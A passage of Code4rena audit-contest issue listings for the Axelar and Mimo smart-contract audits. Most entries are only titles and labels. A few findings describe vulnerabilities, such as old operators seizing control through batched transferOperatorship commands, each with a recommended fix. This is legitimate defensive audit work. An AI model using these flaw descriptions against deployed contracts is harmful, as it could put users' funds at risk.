"2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/204", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/202", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/200", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/199", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/197", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Logical and architectural issue puts funds at risk", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-axelar-findings", "body": "Logical and architectural issue puts funds at risk"}, {"title": "Sending ether using transfer() ", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "Sending ether using transfer() "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/191", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/190", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Use `call()` instead of `transfer()` while dealing with `eth`", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "Use `call()` instead of `transfer()` while dealing with `eth`"}, {"title": "commandID in execute() cannot prevent replicated trades", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-axelar-findings", "body": "commandID in execute() cannot prevent replicated trades"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/181", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "`call()` should be used instead of `transfer()` on an address payable", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "`call()` should be used instead of `transfer()` on an address payable"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/179", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/177", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "XC20Wrapper may lost received token forever if LocalAsset(xc20).mint is reverted indefinitely", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/176", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "XC20Wrapper may lost received token forever if LocalAsset(xc20).mint is reverted indefinitely"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/174", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/171", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/169", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "XC20Wrapper: Unsupported fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "XC20Wrapper: Unsupported fee-on-transfer tokens"}, {"title": "Previous {Operators/Weights/Threshold} Are Still Able To Sign Off New Commands After Operatorship Is Transferred", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/156", "labels": ["bug", "2 (Med Risk)"], "target": "2022-07-axelar-findings", "body": "Previous {Operators/Weights/Threshold} Are Still Able To Sign Off New Commands After Operatorship Is Transferred"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/154", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Add cancel and refund option for Transaction Recovery", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/139", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Add cancel and refund option for Transaction Recovery"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Use call instead of transfer", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "Use call instead of transfer"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/113", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "use call () istead of transfer () when sending eth ", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/107", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "use call () istead of transfer () when sending eth "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/106", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Without transactions complexity of user-written cross-chain contracts must increase significantly", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Without transactions complexity of user-written cross-chain contracts must increase significantly"}, {"title": "CALL() SHOULD BE USED INSTEAD OF TRANSFER() ON AN ADDRESS PAYABLE", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-axelar/blob/main/contracts/gas-service/AxelarGasService.sol#L128 https://github.com/code-423n4/2022-07-axelar/blob/main/contracts/gas-service/AxelarGasService.sol#L144 https://github.com/code-423n4/2022-07-axelar/blob/main/contracts/gas-service/AxelarGasService.sol#L158 # Vulnerability details # Vulnerability details ## Impact The use of the deprecated transfer() function for an address will inevitably make the transaction fail when: The claimer smart contract does not implement a payable function. The claimer smart contract does implement a payable fallback which uses more than 2300 gas unit. The claimer smart contract implements a payable fallback function that needs less than 2300 gas units but is called through proxy, raising the call\u2019s gas usage above 2300. Additionally, using higher than 2300 gas might be mandatory for some multisig wallets. Whenever the user either fails to implement the payable fallback function or cumulative gas cost of the function sequence invoked on a native token transfer exceeds 2300 gas consumption limit the native tokens sent end up undelivered and the corresponding user funds return functionality will fail each time. The impact would mean that any contracts receiving funds would potentially be unable to retrieve funds from the swap. ## Recommended Mitigation Steps use call() to send eth , re-entrancy has been accounted for in all functions that reference Solidity's transfer() . This has been done by using a re-entrancy guard, therefore, we can rely on msg.sender.call.value(amount)` or using the OpenZeppelin Address.sendValue library Relevant links: https://github.com/code-423n4/2021-04-meebits-findings/issues/2 https://twitter.com/hacxyk/status/1520715516490379264?s=21&t=fnhDkcC3KpE_kJE8eLiE2A https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/93", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Use call() instead of transfer() on an address payable", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "Use call() instead of transfer() on an address payable"}, {"title": "Use Call Instead of Transfer for Address Payable", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "Use Call Instead of Transfer for Address Payable"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "CALL() SHOULD BE USED INSTEAD OF TRANSFER() ON AN ADRESSE PAYABLE", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "CALL() SHOULD BE USED INSTEAD OF TRANSFER() ON AN ADRESSE PAYABLE"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "USE CALL() INSTEAD OF TRANSFER() WHEN TRANSFERRING ETH IN xc20wrapper", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "USE CALL() INSTEAD OF TRANSFER() WHEN TRANSFERRING ETH IN xc20wrapper"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "removeWrapping can be called when there are still wrapped tokens", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/23", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-axelar/blob/a1205d2ba78e0db583d136f8563e8097860a110f/xc20/contracts/XC20Wrapper.sol#L66 # Vulnerability details ## Impact An owner can call `removeWrapping`, even if there are still circulating wrapped tokens. This will cause the unwrapping of those tokens to fail, as `unwrapped[wrappedToken]` will be `addres(0)`. ## Recommended Mitigation Steps Track how many wrapped tokens are in circulation, only allow the removal of a wrapped tokens when there are 0 to ensure for users that they will always be able to unwrap."}, {"title": "Deprecated transfer in various places used", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "Deprecated transfer in various places used"}, {"title": "System will not work anymore after EIP-4758", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "System will not work anymore after EIP-4758"}, {"title": "Change of operators possible from old operators", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/19", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-axelar/blob/3373c48a71c07cfce856b53afc02ef4fc2357f8c/contracts/AxelarGateway.sol#L268 https://github.com/code-423n4/2022-07-axelar/blob/3373c48a71c07cfce856b53afc02ef4fc2357f8c/contracts/AxelarGateway.sol#L311 # Vulnerability details ## Impact According to the specifications, only the current operators should be able to transfer operatorship. However, there is one way to circumvent this. Because currentOperators is not updated in the loop, when multiple `transferOperatorship` commands are submitted in the same `execute` call, all will succeed. After the first one, the operators that signed these commands are no longer the current operators, but the call will still succeed. This also means that one set of operators could submit so many `transferOperatorship` commands in one `execute` call that `OLD_KEY_RETENTION` is reached for all other ones, meaning they would control complete set of currently valid operators. ## Recommended Mitigation Steps Set `currentOperators` to `false` when the operators were changed."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "We should use address(xxx).call{value:xxxx} instead of payable(msg.sender).transfer(", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "We should use address(xxx).call{value:xxxx} instead of payable(msg.sender).transfer("}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "CALL() SHOULD BE USED INSTEAD OF TRANSFER() ON AN ADDRESS PAYABLE", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-axelar-findings", "body": "CALL() SHOULD BE USED INSTEAD OF TRANSFER() ON AN ADDRESS PAYABLE"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/1", "labels": [], "target": "2022-07-axelar-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/174", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/164", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "If a MIMOProxy owner destroys their proxy, they cannot deploy another from the same address", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/162", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyRegistry.sol#L45-L59 # Vulnerability details When deploying a new `MIMOProxy`, the `MIMOProxyRegistry` first checks whether a proxy exists with the same owner for the given address. If an existing proxy is found, the deployment reverts: [`MIMOProxyRegistry#deployFor`](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyRegistry.sol#L45-L59) ```solidity function deployFor(address owner) public override returns (IMIMOProxy proxy) { IMIMOProxy currentProxy = _currentProxies[owner]; // Do not deploy if the proxy already exists and the owner is the same. if (address(currentProxy) != address(0) && currentProxy.owner() == owner) { revert CustomErrors.PROXY_ALREADY_EXISTS(owner); } // Deploy the proxy via the factory. proxy = factory.deployFor(owner); // Set or override the current proxy for the owner. _currentProxies[owner] = IMIMOProxy(proxy); } } ``` However, if a `MIMOProxy` owner intentionally or accidentally destroys their proxy by `delegatecall`ing a target that calls `selfdestruct`, the address of their destroyed proxy will remain in the `_currentProxies` mapping, but the static call to `currentProxy.owner()` on L49 will revert. The caller will be blocked from deploying a new proxy from the same address that created their original `MIMOProxy. **Impact:** If a user accidentally destroys their MIMOProxy, they must use a new EOA address to deploy another. ### Recommendation Check whether the proxy has been destroyed as part of the \"proxy already exists\" conditions. If the proxy address has a codesize of zero, it has been destroyed: ```solidity // Do not deploy if 